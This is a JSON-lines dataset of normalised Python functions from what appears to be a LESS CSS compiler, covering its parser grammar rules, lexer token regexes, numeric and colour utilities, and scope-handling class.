{"signature": "def p_word(self, p):", "body": "p[<NUM_LIT:0>] = tuple(list(p)[<NUM_LIT:1>:])<EOL>", "docstring": "word                      : css_ident\n                                      | css_ident t_ws", "id": "f12427:c2:m91"}
{"signature": "def p_class(self, p):", "body": "p[<NUM_LIT:0>] = tuple(list(p)[<NUM_LIT:1>:])<EOL>", "docstring": "class                     : css_class\n                                      | css_class t_ws", "id": "f12427:c2:m92"}
{"signature": "def p_interpolated_class_part(self, p):", "body": "p[<NUM_LIT:0>] = list(p)[<NUM_LIT:1>:]<EOL>", "docstring": "iclass_part               : less_variable\n                                      | less_variable t_ws\n                                      | class", "id": "f12427:c2:m93"}
{"signature": "def p_interpolated_class_part_list_aux(self, p):", "body": "p[<NUM_LIT:1>].extend([p[<NUM_LIT:2>]])<EOL>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "iclass_part_list          : iclass_part_list iclass_part", "id": "f12427:c2:m94"}
{"signature": "def p_interpolated_class_part_list(self, p):", "body": "p[<NUM_LIT:0>] = [p[<NUM_LIT:1>]]<EOL>", "docstring": "iclass_part_list          : iclass_part", "id": "f12427:c2:m95"}
{"signature": "def p_interpolated_class(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "iclass                    : iclass_part_list", "id": "f12427:c2:m96"}
{"signature": "def p_id(self, p):", "body": "p[<NUM_LIT:0>] = tuple(list(p)[<NUM_LIT:1>:])<EOL>", "docstring": "id                        : css_id\n                                      | css_id t_ws", "id": "f12427:c2:m97"}
{"signature": "def p_property(self, p):", "body": "p[<NUM_LIT:0>] = tuple(list(p)[<NUM_LIT:1>:])<EOL>", "docstring": "property                  : css_property\n                                      | css_property t_ws", "id": "f12427:c2:m98"}
{"signature": "def p_page(self, p):", "body": "p[<NUM_LIT:0>] = tuple(list(p)[<NUM_LIT:1>:])<EOL>", "docstring": "page                      : css_page\n                                      | css_page t_ws", "id": "f12427:c2:m99"}
{"signature": "def p_vendor_property(self, p):", "body": "p[<NUM_LIT:0>] = tuple(list(p)[<NUM_LIT:1>:])<EOL>", "docstring": "vendor_property           : css_vendor_property\n                                      | css_vendor_property t_ws", "id": "f12427:c2:m100"}
{"signature": "def p_media_type(self, p):", "body": "p[<NUM_LIT:0>] = tuple(list(p)[<NUM_LIT:1>:])<EOL>", "docstring": "media_type                : css_media_type\n                                      | css_media_type t_ws", "id": "f12427:c2:m101"}
{"signature": "def p_combinator(self, p):", "body": "p[<NUM_LIT:0>] = tuple(list(p)[<NUM_LIT:1>:])<EOL>", "docstring": "combinator                : '&' t_ws\n                                      | '&'", "id": "f12427:c2:m102"}
{"signature": "def p_child_selector(self, p):", "body": "p[<NUM_LIT:0>] = tuple(list(p)[<NUM_LIT:1>:])<EOL>", "docstring": "child_selector            : '>' t_ws\n                                      | '>'", "id": "f12427:c2:m103"}
{"signature": "def p_general_sibling_selector(self, p):", "body": "p[<NUM_LIT:0>] = tuple(list(p)[<NUM_LIT:1>:])<EOL>", "docstring": "general_sibling_selector  : t_tilde t_ws\n                                      | t_tilde", "id": "f12427:c2:m104"}
{"signature": "def p_scope_open(self, p):", "body": "self.scope.push()<EOL>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "brace_open                : t_bopen", "id": "f12427:c2:m105"}
{"signature": "def p_scope_close(self, p):", "body": "p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL>", "docstring": "brace_close               : t_bclose", "id": "f12427:c2:m106"}
{"signature": "def p_and(self, p):", "body": "p[<NUM_LIT:0>] = tuple(list(p)[<NUM_LIT:1>:])<EOL>", "docstring": "and                       : t_and t_ws\n                                      | t_and", "id": "f12427:c2:m107"}
{"signature": "def p_not(self, p):", "body": "p[<NUM_LIT:0>] = tuple(list(p)[<NUM_LIT:1>:])<EOL>", "docstring": "not                       : t_not t_ws\n                                      | t_not", "id": "f12427:c2:m108"}
{"signature": "def p_only(self, p):", "body": "p[<NUM_LIT:0>] = tuple(list(p)[<NUM_LIT:1>:])<EOL>", "docstring": "only                      : t_only t_ws\n                                      | t_only", "id": "f12427:c2:m109"}
{"signature": "def p_empty(self, p):", "body": "pass<EOL>", "docstring": "empty                        :", "id": "f12427:c2:m110"}
{"signature": "def p_error(self, t):", "body": "if t:<EOL><INDENT>error_msg = \"<STR_LIT>\" %(self.target, t.lineno, t.type, t.value)<EOL>self.register.register(error_msg)<EOL><DEDENT>while True:<EOL><INDENT>t = self.lex.token()<EOL>if not t or t.value == '<STR_LIT:}>':<EOL><INDENT>if len(self.scope) > <NUM_LIT:1>:<EOL><INDENT>self.scope.pop()<EOL><DEDENT>break<EOL><DEDENT><DEDENT>self.parser.restart()<EOL>return t<EOL>", "docstring": "Internal error handler\n        args:\n            t (Lex token): Error token", "id": "f12427:c2:m111"}
{"signature": "def handle_error(self, e, line, t='<STR_LIT:E>'):", "body": "self.register.register(\"<STR_LIT>\" % (t, line, e))<EOL>", "docstring": "Custom error handler\n        args:\n            e (Mixed): Exception or str\n            line (int): line number\n            t(str): Error type", "id": "f12427:c2:m112"}
{"signature": "def t_css_ms_filter(self, t):", "body": "return t<EOL>", "docstring": "r'(?:progid:|DX\\.)[^;\\(]*", "id": "f12428:c0:m2"}
{"signature": "def t_t_bopen(self, t):", "body": "t.lexer.in_property_decl = False<EOL>return t<EOL>", "docstring": "r'\\{", "id": "f12428:c0:m3"}
{"signature": "def t_t_bclose(self, t):", "body": "return t<EOL>", "docstring": "r'\\}", "id": "f12428:c0:m4"}
{"signature": "def t_t_colon(self, t):", "body": "return t<EOL>", "docstring": "r':", "id": "f12428:c0:m5"}
{"signature": "def t_t_comma(self, t):", "body": "t.lexer.in_property_decl = False<EOL>return t<EOL>", "docstring": "r',", "id": "f12428:c0:m6"}
{"signature": "def t_css_number(self, t):", "body": "return t<EOL>", "docstring": "r'-?(\\d*\\.\\d+|\\d+)(s|%|in|ex|[ecm]m|p[txc]|deg|g?rad|ms?|k?hz|dpi|dpcm|dppx)?", "id": "f12428:c0:m7"}
{"signature": "def t_iselector_less_variable(self, t):", "body": "return t<EOL>", "docstring": "r'@\\{[^@\\}]+\\}", "id": "f12428:c0:m9"}
{"signature": "def t_iselector_t_eclose(self, t):", "body": "<EOL>t.lexer.pop_state()<EOL>return t<EOL>", "docstring": "r'\"|\\", "id": "f12428:c0:m10"}
{"signature": "def t_iselector_css_class(self, t):", "body": "<EOL>return t<EOL>", "docstring": "r'[_a-z0-9\\-]+", "id": "f12428:c0:m12"}
{"signature": "def t_iselector_t_ws(self, t):", "body": "<EOL>t.lexer.pop_state()<EOL>t.value = '<STR_LIT:U+0020>'<EOL>return t<EOL>", "docstring": "r'[ \\t\\f\\v]+", "id": "f12428:c0:m13"}
{"signature": "def t_iselector_t_bopen(self, t):", "body": "t.lexer.pop_state()<EOL>return t<EOL>", "docstring": "r'\\{", "id": "f12428:c0:m14"}
{"signature": "def t_iselector_t_colon(self, t):", "body": "t.lexer.pop_state()<EOL>return t<EOL>", "docstring": "r':", "id": "f12428:c0:m15"}
{"signature": "def t_mediaquery_t_not(self, t):", "body": "return t<EOL>", "docstring": "r'not", "id": "f12428:c0:m16"}
{"signature": "def t_mediaquery_t_only(self, t):", "body": "return t<EOL>", "docstring": "r'only", "id": "f12428:c0:m17"}
{"signature": "def t_mediaquery_t_and(self, t):", "body": "return t<EOL>", "docstring": "r'and", "id": "f12428:c0:m18"}
{"signature": "def t_mediaquery_t_popen(self, t):", "body": "<EOL>return t<EOL>", "docstring": "r'\\(", "id": "f12428:c0:m19"}
{"signature": "def t_mediaquery_t_bopen(self, t):", "body": "t.lexer.pop_state()<EOL>return t<EOL>", "docstring": "r'\\{", "id": "f12428:c0:m22"}
{"signature": "def t_mediaquery_t_semicolon(self, t):", "body": "<EOL>t.lexer.pop_state()  <EOL>t.lexer.pop_state()  <EOL>return t<EOL>", "docstring": "r';", "id": "f12428:c0:m23"}
{"signature": "def t_import_t_semicolon(self, t):", "body": "t.lexer.pop_state()<EOL>return t<EOL>", "docstring": "r';", "id": "f12428:c0:m25"}
{"signature": "def t_less_variable(self, t):", "body": "v = t.value.lower()<EOL>if v in reserved.tokens:<EOL><INDENT>t.type = reserved.tokens[v]<EOL>if t.type == \"<STR_LIT>\":<EOL><INDENT>t.lexer.push_state(\"<STR_LIT>\")<EOL><DEDENT>elif t.type == \"<STR_LIT>\":<EOL><INDENT>t.lexer.push_state(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>return t<EOL>", "docstring": "r'@@?[\\w-]+|@\\{[^@\\}]+\\}", "id": "f12428:c0:m26"}
{"signature": "def t_css_color(self, t):", "body": "return t<EOL>", "docstring": "r'\\#[0-9]([0-9a-f]{5}|[0-9a-f]{2})", "id": "f12428:c0:m27"}
{"signature": "def t_newline(self, t):", "body": "t.lexer.lineno += t.value.count('<STR_LIT:\\n>')<EOL>", "docstring": "r'[\\n\\r]+", "id": "f12428:c0:m30"}
{"signature": "def t_css_comment(self, t):", "body": "t.lexer.lineno += t.value.count('<STR_LIT:\\n>')<EOL>pass<EOL>", "docstring": "r'(/\\*(.|\\n|\\r)*?\\*/)", "id": "f12428:c0:m31"}
{"signature": "def t_less_comment(self, t):", "body": "pass<EOL>", "docstring": "r'//.*", "id": "f12428:c0:m32"}
{"signature": "def t_css_important(self, t):", "body": "t.value = '<STR_LIT>'<EOL>return t<EOL>", "docstring": "r'!\\s*important", "id": "f12428:c0:m33"}
{"signature": "def t_t_ws(self, t):", "body": "t.value = '<STR_LIT:U+0020>'<EOL>return t<EOL>", "docstring": "r'[ \\t\\f\\v]+", "id": "f12428:c0:m34"}
{"signature": "def t_t_popen(self, t):", "body": "t.lexer.push_state('<STR_LIT>')<EOL>return t<EOL>", "docstring": "r'\\(", "id": "f12428:c0:m35"}
{"signature": "def t_less_open_format(self, t):", "body": "t.lexer.push_state('<STR_LIT>')<EOL>return t<EOL>", "docstring": "r'%\\(", "id": "f12428:c0:m36"}
{"signature": "def t_parn_t_pclose(self, t):", "body": "t.lexer.pop_state()<EOL>return t<EOL>", "docstring": "r'\\)", "id": "f12428:c0:m37"}
{"signature": "def t_t_pclose(self, t):", "body": "return t<EOL>", "docstring": "r'\\)", "id": "f12428:c0:m38"}
{"signature": "def t_t_semicolon(self, t):", "body": "t.lexer.in_property_decl = False<EOL>return t<EOL>", "docstring": "r';", "id": "f12428:c0:m39"}
{"signature": "def t_t_eopen(self, t):", "body": "if t.value[<NUM_LIT:1>] == '<STR_LIT:\">':<EOL><INDENT>t.lexer.push_state('<STR_LIT>')<EOL><DEDENT>elif t.value[<NUM_LIT:1>] == '<STR_LIT>':<EOL><INDENT>t.lexer.push_state('<STR_LIT>')<EOL><DEDENT>return t<EOL>", "docstring": "r'~\"|~\\", "id": "f12428:c0:m40"}
{"signature": "def t_t_tilde(self, t):", "body": "return t<EOL>", "docstring": "r'~", "id": "f12428:c0:m41"}
{"signature": "def t_escapequotes_less_variable(self, t):", "body": "return t<EOL>", "docstring": "r'@\\{[^@\"\\}]+\\}", "id": "f12428:c0:m42"}
{"signature": "def t_escapeapostrophe_less_variable(self, t):", "body": "return t<EOL>", "docstring": "r'@\\{[^@\\'\\}]+\\}", "id": "f12428:c0:m43"}
{"signature": "def t_escapequotes_t_eclose(self, t):", "body": "t.lexer.pop_state()<EOL>return t<EOL>", "docstring": "r", "id": "f12428:c0:m44"}
{"signature": "def t_escapeapostrophe_t_eclose(self, t):", "body": "t.lexer.pop_state()<EOL>return t<EOL>", "docstring": "r'\\", "id": "f12428:c0:m45"}
{"signature": "def t_css_string(self, t):", "body": "t.lexer.lineno += t.value.count('<STR_LIT:\\n>')<EOL>return t<EOL>", "docstring": "r'\"[^\"@]*\"|\\'[^\\'@]*\\", "id": "f12428:c0:m46"}
{"signature": "def t_t_isopen(self, t):", "body": "if t.value[<NUM_LIT:0>] == '<STR_LIT:\">':<EOL><INDENT>t.lexer.push_state('<STR_LIT>')<EOL><DEDENT>elif t.value[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>t.lexer.push_state('<STR_LIT>')<EOL><DEDENT>return t<EOL>", "docstring": "r'\"|\\", "id": "f12428:c0:m47"}
{"signature": "def t_istringquotes_less_variable(self, t):", "body": "return t<EOL>", "docstring": "r'@\\{[^@\"\\}]+\\}", "id": "f12428:c0:m48"}
{"signature": "def t_istringapostrophe_less_variable(self, t):", "body": "return t<EOL>", "docstring": "r'@\\{[^@\\'\\}]+\\}", "id": "f12428:c0:m49"}
{"signature": "def t_istringapostrophe_css_string(self, t):", "body": "t.lexer.lineno += t.value.count('<STR_LIT:\\n>')<EOL>return t<EOL>", "docstring": "r'[^\\'@]+", "id": "f12428:c0:m50"}
{"signature": "def t_istringquotes_css_string(self, t):", "body": "t.lexer.lineno += t.value.count('<STR_LIT:\\n>')<EOL>return t<EOL>", "docstring": "r'[^\"@]+", "id": "f12428:c0:m51"}
{"signature": "def t_istringquotes_t_isclose(self, t):", "body": "t.lexer.pop_state()<EOL>return t<EOL>", "docstring": "r", "id": "f12428:c0:m52"}
{"signature": "def t_istringapostrophe_t_isclose(self, t):", "body": "t.lexer.pop_state()<EOL>return t<EOL>", "docstring": "r'\\", "id": "f12428:c0:m53"}
{"signature": "def file(self, filename):", "body": "with open(filename) as f:<EOL><INDENT>self.lexer.input(f.read())<EOL><DEDENT>return self<EOL>", "docstring": "Lex file.", "id": "f12428:c0:m56"}
{"signature": "def input(self, file):", "body": "if isinstance(file, string_types):<EOL><INDENT>with open(file) as f:<EOL><INDENT>self.lexer.input(f.read())<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.lexer.input(file.read())<EOL><DEDENT>", "docstring": "Load lexer with content from `file` which can be a path or a file\nlike object.", "id": "f12428:c0:m57"}
{"signature": "def token(self):", "body": "if self.next_:<EOL><INDENT>t = self.next_<EOL>self.next_ = None<EOL>return t<EOL><DEDENT>while True:<EOL><INDENT>t = self.lexer.token()<EOL>if not t:<EOL><INDENT>return t<EOL><DEDENT>if t.type == '<STR_LIT>' and (<EOL>self.pretok or<EOL>(self.last and self.last.type not in self.significant_ws)):<EOL><INDENT>continue<EOL><DEDENT>self.pretok = False<EOL>if t.type == '<STR_LIT>' and self.last and self.last.type not in ['<STR_LIT>', '<STR_LIT>'] and self.last.type != '<STR_LIT>'and not (hasattr(t, '<STR_LIT>') and (t.lexer.lexstate == '<STR_LIT>' or t.lexer.lexstate == '<STR_LIT>')):<EOL><INDENT>self.next_ = t<EOL>tok = lex.LexToken()<EOL>tok.type = '<STR_LIT>'<EOL>tok.value = '<STR_LIT:;>'<EOL>tok.lineno = t.lineno<EOL>tok.lexpos = t.lexpos<EOL>self.last = tok<EOL>self.lexer.in_property_decl = False<EOL>return tok<EOL><DEDENT>self.last = t<EOL>break<EOL><DEDENT>return t<EOL>", "docstring": "Token function. Contains 2 hacks:\n    1.  Injects ';' into blocks where the last property\n        leaves out the ;\n    2.  Strips out whitespace from nonsignificant locations\n        to ease parsing.", "id": "f12428:c0:m58"}
{"signature": "def flatten(lst):", "body": "for elm in lst:<EOL><INDENT>if isinstance(elm, collections.Iterable) and not isinstance(<EOL>elm, string_types):<EOL><INDENT>for sub in flatten(elm):<EOL><INDENT>yield sub<EOL><DEDENT><DEDENT>else:<EOL><INDENT>yield elm<EOL><DEDENT><DEDENT>", "docstring": "Flatten list.\n    Args:\n        lst (list): List to flatten\n    Returns:\n        generator", "id": "f12430:m0"}
{"signature": "def pairwise(lst):", "body": "if not lst:<EOL><INDENT>return<EOL><DEDENT>length = len(lst)<EOL>for i in range(length - <NUM_LIT:1>):<EOL><INDENT>yield lst[i], lst[i + <NUM_LIT:1>]<EOL><DEDENT>yield lst[-<NUM_LIT:1>], None<EOL>", "docstring": "yield item i and item i+1 in lst. e.g.\n        (lst[0], lst[1]), (lst[1], lst[2]), ..., (lst[-1], None)\n    Args:\n        lst (list): List to process\n    Returns:\n        list", "id": "f12430:m1"}
{"signature": "def rename(blocks, scope, stype):", "body": "for p in blocks:<EOL><INDENT>if isinstance(p, stype):<EOL><INDENT>p.tokens[<NUM_LIT:0>].parse(scope)<EOL>if p.tokens[<NUM_LIT:1>]:<EOL><INDENT>scope.push()<EOL>scope.current = p.tokens[<NUM_LIT:0>]<EOL>rename(p.tokens[<NUM_LIT:1>], scope, stype)<EOL>scope.pop()<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Rename all sub-blocks moved under another\n        block. (mixins)\n    Args:\n        lst (list): block list\n        scope (object): Scope object", "id": "f12430:m2"}
{"signature": "def blocksearch(block, name):", "body": "if hasattr(block, '<STR_LIT>'):<EOL><INDENT>for b in block.tokens[<NUM_LIT:1>]:<EOL><INDENT>b = (b if hasattr(b, '<STR_LIT>') and b.raw() == name else blocksearch(<EOL>b, name))<EOL>if b:<EOL><INDENT>return b<EOL><DEDENT><DEDENT><DEDENT>return False<EOL>", "docstring": "Recursive search for name in block (inner blocks)\n    Args:\n        name (str): search term\n    Returns:\n        Block OR False", "id": "f12430:m3"}
{"signature": "def reverse_guard(lst):", "body": "rev = {'<STR_LIT:<>': '<STR_LIT>', '<STR_LIT:>>': '<STR_LIT>', '<STR_LIT>': '<STR_LIT:<>', '<STR_LIT>': '<STR_LIT:>>'}<EOL>return [rev[l] if l in rev else l for l in lst]<EOL>", "docstring": "Reverse guard expression. not\n        (@a > 5) ->  (@a =< 5)\n    Args:\n        lst (list): Expression\n    returns:\n        list", "id": "f12430:m4"}
{"signature": "def debug_print(lst, lvl=<NUM_LIT:0>):", "body": "pad = '<STR_LIT>'.join(['<STR_LIT>'] * lvl)<EOL>t = type(lst)<EOL>if t is list:<EOL><INDENT>for p in lst:<EOL><INDENT>debug_print(p, lvl)<EOL><DEDENT><DEDENT>elif hasattr(lst, '<STR_LIT>'):<EOL><INDENT>print(pad, t)<EOL>debug_print(list(flatten(lst.tokens)), lvl + <NUM_LIT:1>)<EOL><DEDENT>", "docstring": "Print scope tree\n    args:\n        lst (list): parse result\n        lvl (int): current nesting level", "id": "f12430:m5"}
{"signature": "def destring(value):", "body": "return value.strip('<STR_LIT>')<EOL>", "docstring": "Strip quotes from string\n    args:\n        value (str)\n    returns:\n        str", "id": "f12430:m6"}
{"signature": "def analyze_number(var, err='<STR_LIT>'):", "body": "n, u = split_unit(var)<EOL>if not isinstance(var, string_types):<EOL><INDENT>return (var, u)<EOL><DEDENT>if is_color(var):<EOL><INDENT>return (var, '<STR_LIT>')<EOL><DEDENT>if is_int(n):<EOL><INDENT>n = int(n)<EOL><DEDENT>elif is_float(n):<EOL><INDENT>n = float(n)<EOL><DEDENT>else:<EOL><INDENT>raise SyntaxError('<STR_LIT>' % (err, var))<EOL><DEDENT>return (n, u)<EOL>", "docstring": "Analyse number for type and split from unit\n        1px -> (q, 'px')\n    args:\n        var (str): number string\n    kwargs:\n        err (str): Error message\n    raises:\n        SyntaxError\n    returns:\n        tuple", "id": "f12430:m7"}
{"signature": "def with_unit(number, unit=None):", "body": "if isinstance(number, tuple):<EOL><INDENT>number, unit = number<EOL><DEDENT>if number == <NUM_LIT:0>:<EOL><INDENT>return '<STR_LIT:0>'<EOL><DEDENT>if unit:<EOL><INDENT>number = str(number)<EOL>if number.startswith('<STR_LIT:.>'):<EOL><INDENT>number = '<STR_LIT:0>' + number<EOL><DEDENT>return \"<STR_LIT>\" % (number, unit)<EOL><DEDENT>return number if isinstance(number, string_types) else str(number)<EOL>", "docstring": "Return number with unit\n    args:\n        number (mixed): Number\n        unit (str): Unit\n    returns:\n        str", "id": "f12430:m8"}
{"signature": "def is_color(value):", "body": "if not value or not isinstance(value, string_types):<EOL><INDENT>return False<EOL><DEDENT>if value[<NUM_LIT:0>] == '<STR_LIT:#>' and len(value) in [<NUM_LIT:4>, <NUM_LIT:5>, <NUM_LIT:7>, <NUM_LIT:9>]:<EOL><INDENT>try:<EOL><INDENT>int(value[<NUM_LIT:1>:], <NUM_LIT:16>)<EOL>return True<EOL><DEDENT>except ValueError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Is string CSS color\n    args:\n        value (str): string\n    returns:\n        bool", "id": "f12430:m9"}
{"signature": "def is_variable(value):", "body": "if isinstance(value, string_types):<EOL><INDENT>return (value.startswith('<STR_LIT:@>') or value.startswith('<STR_LIT>'))<EOL><DEDENT>elif isinstance(value, tuple):<EOL><INDENT>value = '<STR_LIT>'.join(value)<EOL>return (value.startswith('<STR_LIT:@>') or value.startswith('<STR_LIT>'))<EOL><DEDENT>return False<EOL>", "docstring": "Check if string is LESS variable\n    args:\n        value (str): string\n    returns:\n        bool", "id": "f12430:m10"}
{"signature": "def is_int(value):", "body": "try:<EOL><INDENT>int(str(value))<EOL>return True<EOL><DEDENT>except (ValueError, TypeError):<EOL><INDENT>pass<EOL><DEDENT>return False<EOL>", "docstring": "Is value integer\n    args:\n        value (str): string\n    returns:\n        bool", "id": "f12430:m11"}
{"signature": "def is_float(value):", "body": "if not is_int(value):<EOL><INDENT>try:<EOL><INDENT>float(str(value))<EOL>return True<EOL><DEDENT>except (ValueError, TypeError):<EOL><INDENT>pass<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Is value float\n    args:\n        value (str): string\n    returns:\n        bool", "id": "f12430:m12"}
{"signature": "def split_unit(value):", "body": "r = re.search('<STR_LIT>', str(value))<EOL>return r.groups() if r else ('<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": "Split a number from its unit\n        1px -> (q, 'px')\n    Args:\n        value (str): input\n    returns:\n        tuple", "id": "f12430:m13"}
{"signature": "def away_from_zero_round(value, ndigits=<NUM_LIT:0>):", "body": "if sys.version_info[<NUM_LIT:0>] >= <NUM_LIT:3>:<EOL><INDENT>p = <NUM_LIT:10>**ndigits<EOL>return float(math.floor((value * p) + math.copysign(<NUM_LIT:0.5>, value))) / p<EOL><DEDENT>else:<EOL><INDENT>return round(value, ndigits)<EOL><DEDENT>", "docstring": "Round half-way away from zero.\n\n    Python2's round() method.", "id": "f12430:m14"}
{"signature": "def convergent_round(value, ndigits=<NUM_LIT:0>):", "body": "if sys.version_info[<NUM_LIT:0>] < <NUM_LIT:3>:<EOL><INDENT>if value < <NUM_LIT:0.0>:<EOL><INDENT>return -convergent_round(-value)<EOL><DEDENT>epsilon = <NUM_LIT><EOL>integral_part, _ = divmod(value, <NUM_LIT:1>)<EOL>if abs(value - (integral_part + <NUM_LIT:0.5>)) < epsilon:<EOL><INDENT>if integral_part % <NUM_LIT> < epsilon:<EOL><INDENT>return integral_part<EOL><DEDENT>else:<EOL><INDENT>nearest_even = integral_part + <NUM_LIT:0.5><EOL>return math.ceil(nearest_even)<EOL><DEDENT><DEDENT><DEDENT>return round(value, ndigits)<EOL>", "docstring": "Convergent rounding.\n\n    Round to neareas even, similar to Python3's round() method.", "id": "f12430:m15"}
{"signature": "def pc_or_float(s):", "body": "if isinstance(s, string_types) and '<STR_LIT:%>' in s:<EOL><INDENT>return float(s.strip('<STR_LIT:%>')) / <NUM_LIT><EOL><DEDENT>return float(s)<EOL>", "docstring": "Utility function to process strings that contain either percentiles or floats\n    args:\n        str: s\n    returns:\n       float", "id": "f12430:m16"}
{"signature": "def permutations_with_replacement(iterable, r=None):", "body": "pool = tuple(iterable)<EOL>n = len(pool)<EOL>r = n if r is None else r<EOL>for indices in itertools.product(range(n), repeat=r):<EOL><INDENT>yield list(pool[i] for i in indices)<EOL><DEDENT>", "docstring": "Return successive r length permutations of elements in the iterable.\n\n    Similar to itertools.permutation but withouth repeated values filtering.", "id": "f12430:m17"}
{"signature": "def __init__(self, init=False):", "body": "super(Scope, self).__init__()<EOL>self._mixins = {}<EOL>if init:<EOL><INDENT>self.push()<EOL><DEDENT>self.deferred = False<EOL>self.real = []<EOL>", "docstring": "Scope\n        Args:\n            init (bool): Initiate scope", "id": "f12432:c0:m0"}
{"signature": "def push(self):", "body": "self.append({<EOL>'<STR_LIT>': {},<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': [],<EOL>'<STR_LIT>': None<EOL>})<EOL>", "docstring": "Push level on scope", "id": "f12432:c0:m1"}
{"signature": "@property<EOL><INDENT>def scopename(self):<DEDENT>", "body": "return [r['<STR_LIT>'] for r in self if r['<STR_LIT>']]<EOL>", "docstring": "Current scope name as list\n        Returns:\n            list", "id": "f12432:c0:m4"}
{"signature": "def add_block(self, block):", "body": "self[-<NUM_LIT:1>]['<STR_LIT>'].append(block)<EOL>self[-<NUM_LIT:1>]['<STR_LIT>'].append(block.raw())<EOL>", "docstring": "Add block element to scope\n        Args:\n            block (Block): Block object", "id": "f12432:c0:m5"}
{"signature": "def remove_block(self, block, index=\"<STR_LIT>\"):", "body": "self[index][\"<STR_LIT>\"].remove(block)<EOL>self[index][\"<STR_LIT>\"].remove(block.raw())<EOL>", "docstring": "Remove block element from scope\n        Args:\n            block (Block): Block object", "id": "f12432:c0:m6"}
{"signature": "def add_mixin(self, mixin):", "body": "raw = mixin.tokens[<NUM_LIT:0>][<NUM_LIT:0>].raw()<EOL>if raw in self._mixins:<EOL><INDENT>self._mixins[raw].append(mixin)<EOL><DEDENT>else:<EOL><INDENT>self._mixins[raw] = [mixin]<EOL><DEDENT>", "docstring": "Add mixin to scope\n        Args:\n            mixin (Mixin): Mixin object", "id": "f12432:c0:m7"}
{"signature": "def add_variable(self, variable):", "body": "self[-<NUM_LIT:1>]['<STR_LIT>'][variable.name] = variable<EOL>", "docstring": "Add variable to scope\n        Args:\n            variable (Variable): Variable object", "id": "f12432:c0:m8"}
{"signature": "def variables(self, name):", "body": "if isinstance(name, tuple):<EOL><INDENT>name = name[<NUM_LIT:0>]<EOL><DEDENT>if name.startswith('<STR_LIT>'):<EOL><INDENT>name = '<STR_LIT:@>' + name[<NUM_LIT:2>:-<NUM_LIT:1>]<EOL><DEDENT>i = len(self)<EOL>while i >= <NUM_LIT:0>:<EOL><INDENT>i -= <NUM_LIT:1><EOL>if name in self[i]['<STR_LIT>']:<EOL><INDENT>return self[i]['<STR_LIT>'][name]<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Search for variable by name. Searches scope top down\n        Args:\n            name (string): Search term\n        Returns:\n            Variable object OR False", "id": "f12432:c0:m9"}
{"signature": "def mixins(self, name):", "body": "m = self._smixins(name)<EOL>if m:<EOL><INDENT>return m<EOL><DEDENT>return self._smixins(name.replace('<STR_LIT>', '<STR_LIT:U+0020>'))<EOL>", "docstring": "Search mixins for name.\n        Allow '>' to be ignored. '.a .b()' == '.a > .b()'\n        Args:\n            name (string): Search term\n        Returns:\n            Mixin object list OR False", "id": "f12432:c0:m10"}
{"signature": "def _smixins(self, name):", "body": "return (self._mixins[name] if name in self._mixins else False)<EOL>", "docstring": "Inner wrapper to search for mixins by name.", "id": "f12432:c0:m11"}
{"signature": "def blocks(self, name):", "body": "b = self._blocks(name)<EOL>if b:<EOL><INDENT>return b<EOL><DEDENT>return self._blocks(name.replace('<STR_LIT>', '<STR_LIT:U+0020>'))<EOL>", "docstring": "Search for defined blocks recursively.\nAllow '>' to be ignored. '.a .b' == '.a > .b'\nArgs:\n    name (string): Search term\nReturns:\n    Block object OR False", "id": "f12432:c0:m12"}
{"signature": "def _blocks(self, name):", "body": "i = len(self)<EOL>while i >= <NUM_LIT:0>:<EOL><INDENT>i -= <NUM_LIT:1><EOL>if name in self[i]['<STR_LIT>']:<EOL><INDENT>for b in self[i]['<STR_LIT>']:<EOL><INDENT>r = b.raw()<EOL>if r and r == name:<EOL><INDENT>return b<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for b in self[i]['<STR_LIT>']:<EOL><INDENT>r = b.raw()<EOL>if r and name.startswith(r):<EOL><INDENT>b = utility.blocksearch(b, name)<EOL>if b:<EOL><INDENT>return b<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>return False<EOL>", "docstring": "Inner wrapper to search for blocks by name.", "id": "f12432:c0:m13"}
{"signature": "def update(self, scope, at=<NUM_LIT:0>):", "body": "if hasattr(scope, '<STR_LIT>') and not at:<EOL><INDENT>self._mixins.update(scope._mixins)<EOL><DEDENT>self[at]['<STR_LIT>'].update(scope[at]['<STR_LIT>'])<EOL>self[at]['<STR_LIT>'].extend(scope[at]['<STR_LIT>'])<EOL>self[at]['<STR_LIT>'].extend(scope[at]['<STR_LIT>'])<EOL>", "docstring": "Update scope. Add another scope to this one.\n        Args:\n            scope (Scope): Scope object\n        Kwargs:\n            at (int): Level to update", "id": "f12432:c0:m14"}
{"signature": "def swap(self, name):", "body": "if name.startswith('<STR_LIT>'):<EOL><INDENT>var = self.variables(name[<NUM_LIT:1>:])<EOL>if var is False:<EOL><INDENT>raise SyntaxError('<STR_LIT>' % name)<EOL><DEDENT>name = '<STR_LIT:@>' + utility.destring(var.value[<NUM_LIT:0>])<EOL>var = self.variables(name)<EOL>if var is False:<EOL><INDENT>raise SyntaxError('<STR_LIT>' % name)<EOL><DEDENT><DEDENT>elif name.startswith('<STR_LIT>'):<EOL><INDENT>var = self.variables('<STR_LIT:@>' + name[<NUM_LIT:2>:-<NUM_LIT:1>])<EOL>if var is False:<EOL><INDENT>raise SyntaxError('<STR_LIT>' % name)<EOL><DEDENT>if isinstance(var.value[<NUM_LIT:0>], string_types):<EOL><INDENT>var.value[<NUM_LIT:0>] = utility.destring(var.value[<NUM_LIT:0>])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>var = self.variables(name)<EOL>if var is False:<EOL><INDENT>raise SyntaxError('<STR_LIT>' % name)<EOL><DEDENT><DEDENT>return var.value<EOL>", "docstring": "Swap variable name for variable value\n        Args:\n            name (str): Variable name\n        Returns:\n            Variable value (Mixed)", "id": "f12432:c0:m15"}
